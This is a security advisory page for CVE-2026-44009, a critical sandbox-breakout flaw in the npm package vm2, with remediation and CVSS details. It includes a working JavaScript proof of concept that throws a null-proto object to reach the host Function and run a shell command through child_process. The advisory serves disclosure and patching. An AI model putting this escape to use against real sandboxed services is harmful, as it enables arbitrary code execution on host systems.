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CVE-2026-44009

CRITICAL

vm2 has Sandbox Breakout Through Null Proto Exception

Published May 8, 2026Updated May 14, 2026Source: osv

Summary

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details In `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` const o = {__proto__: null}; try { throw o; } catch (e) { e.f = Buffer.prototype.inspect o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.11.2 or later
npm install vm2@3.11.2

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
vm2
npm
All versions3.11.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-44009?
vm2 has Sandbox Breakout Through Null Proto Exception This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-44009?
CVE-2026-44009 affects vm2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44009 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-9vg3-4rfj-wgcm

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